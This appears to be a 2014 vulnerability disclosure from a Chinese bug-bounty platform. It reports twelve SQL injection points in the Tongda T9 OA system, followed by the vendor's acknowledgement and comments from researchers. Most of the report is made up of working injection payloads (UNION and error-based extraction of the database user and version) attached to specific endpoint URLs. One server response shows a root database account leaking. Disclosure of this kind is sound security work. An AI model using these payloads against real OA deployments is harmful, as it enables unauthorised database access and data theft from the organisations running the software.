通达T9 oa系统sql注射12处打包(demo站点root权限)

测试地址 http://**.**.**.**/t9/core/frame/webos/index.jsp

测试帐号及密码 oa/无

注入1：

漏洞分析：

url：

http://**.**.**.**/t9/t9/core/funcs/message/weixun_share/act/T9WeiXunShareAct/getWeiXunById.act

postdata:

wxid=110' UNION ALL SELECT NULL,CONCAT(user(),':',version()),NULL,NULL,NULL,NULL,NULL#

注入2：

url：

http://**.**.**.**/t9/t9/core/funcs/diary/act/T9DiaryAct/deleteDia.act

postdata:

diaIds=2 AND (SELECT 4200 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4200=4200) THEN 1 ELSE 0 END)),0x716f697271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

注入3：

url：

http://**.**.**.**/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3 AND (SELECT 6356 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6356=6356) THEN 1 ELSE 0 END)),0x71706d6d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&deType=4&deType=4

注入4：

url：

http://**.**.**.**/t9/t9/core/funcs/email/act/T9EmailNameAct/saveName.act

postdata:

name=xxxxxxxxxxx&IS_USE=1&IS_USE1=1&NAME_ID=4' AND (SELECT 5610 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (5610=5610) THEN 1 ELSE 0 END)),0x7166777071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'fKtu'='fKtu

注入5：

url：

http://**.**.**.**/t9/t9/core/funcs/email/act/T9EmailBoxAct/isBoxNameExist.act

postdata:

boxName=xxxxx' AND (SELECT 4999 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (4999=4999) THEN 1 ELSE 0 END)),0x7161667671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VnVS'='VnVS&boxId=1

注入6：

url：

http://**.**.**.** /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/selectId2.act?seqId=323' AND (SELECT 2538 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (2538=2538) THEN 1 ELSE 0 END)),0x716c756b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'GhCY'='GhCY

注入7：

url：

http://**.**.**.** /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/deleteVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770

{"rtState":"1", "rtMsrg":"Duplicate entry 'root@**.**.**.**qzqeq1' for key 1", "rtData":""}

注入8：

url：

http://**.**.**.** /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/clonVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770

注入：9

url：

http://**.**.**.** /t9/t9/subsys/oa/vote/act/T9VoteTitleAct/updateNoTopVote.act?seqIds=1) AND (SELECT 7548 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7548=7548) THEN 1 ELSE 0 END)),0x717a716571,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7770=7770

注入10：

url：

http://**.**.**.**/t9/t9/core/funcs/news/act/T9NewsShowAct/getDeskNewsAllList.act?type=1323' AND (SELECT 7974 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (7974=7974) THEN 1 ELSE 0 END)),0x716e707471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Awzk'='Awzk

post_data:

totalRecords=5

注入11：

url：

http://**.**.**.**/t9/t9/core/funcs/workflow/act/T9MyWorkAct/hasWork.act?sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&flowId=562&flowId=562

注入12：

url：

http://**.**.**.**/t9/core/funcs/workflow/flowrun/list/index1.jsp?type=2&sortId=1) AND (SELECT 6837 FROM(SELECT COUNT(*),CONCAT(user(),(SELECT (CASE WHEN (6837=6837) THEN 1 ELSE 0 END)),0x7170677971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7897=7897&skin=&flowId=562

对wxid参数加引号处理

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-11-17 09:40

厂商回复：

我们会尽快修复，感谢您的报告。

最新状态：

暂无

1. 2014-11-14 19:09 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

   2

   要登录的吗？

   1# 回复此人

2. 2014-11-14 19:10 | 小 葛 ( 实习白帽子 | Rank:73 漏洞数:17 | 56个民族 56支花 56种语言汇成一句话 钱不...)

   1

   12....

   2# 回复此人

3. 2014-11-14 19:20 | ACGT ( 实习白帽子 | Rank:32 漏洞数:4 | another script kiddie)

   1

   干嘛不一个一个发多混几个rank。。

   3# 回复此人

4. 2014-11-14 20:04 | luwikes ( 普通白帽子 | Rank:552 漏洞数:83 | 潜心学习~~~)

   1

   亮！

   4# 回复此人

5. 2014-11-14 22:39 | Finger ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

   1

   @ACGT 鄙视

   5# 回复此人

6. 2014-11-15 16:18 | ACGT ( 实习白帽子 | Rank:32 漏洞数:4 | another script kiddie)

   1

   @Finger 如果按照我的建议，对白帽子、乌云都是有利的：对乌云来说，乌云的漏洞数增加了，浏览量也增加了，更容易忽悠融资了。对厂商来说，确认1个洞和确认12个洞没什么区别。对审核人员来说，如果审核人员的收入是按审核漏洞的数量决定的，那么对审核人员也是有利的，可惜不是。

   6# 回复此人

7. 2014-11-17 10:19 | greg.wu ( 普通白帽子 | Rank:1044 漏洞数:121 | 打酱油的~)

   1

   这厂商秀逗了吧，12个注入点给中，5rank，

   7# 回复此人

8. 2014-11-17 14:02 | smarttang ( 路人 | 还没有发布任何漏洞 | 乌云两个帐号都是我的... t.qq.com/mojige...)

   2

   小伙伴，别鸡冻。。初衷是为了发现问题。。。混个脸熟。，。。

   8# 回复此人

9. 2015-06-28 12:51 | ssssss ( 路人 | Rank:0 漏洞数:1 | 一心成为伟大白帽的梦-.-)

   0

   要登录进去才能射

   9# 回复此人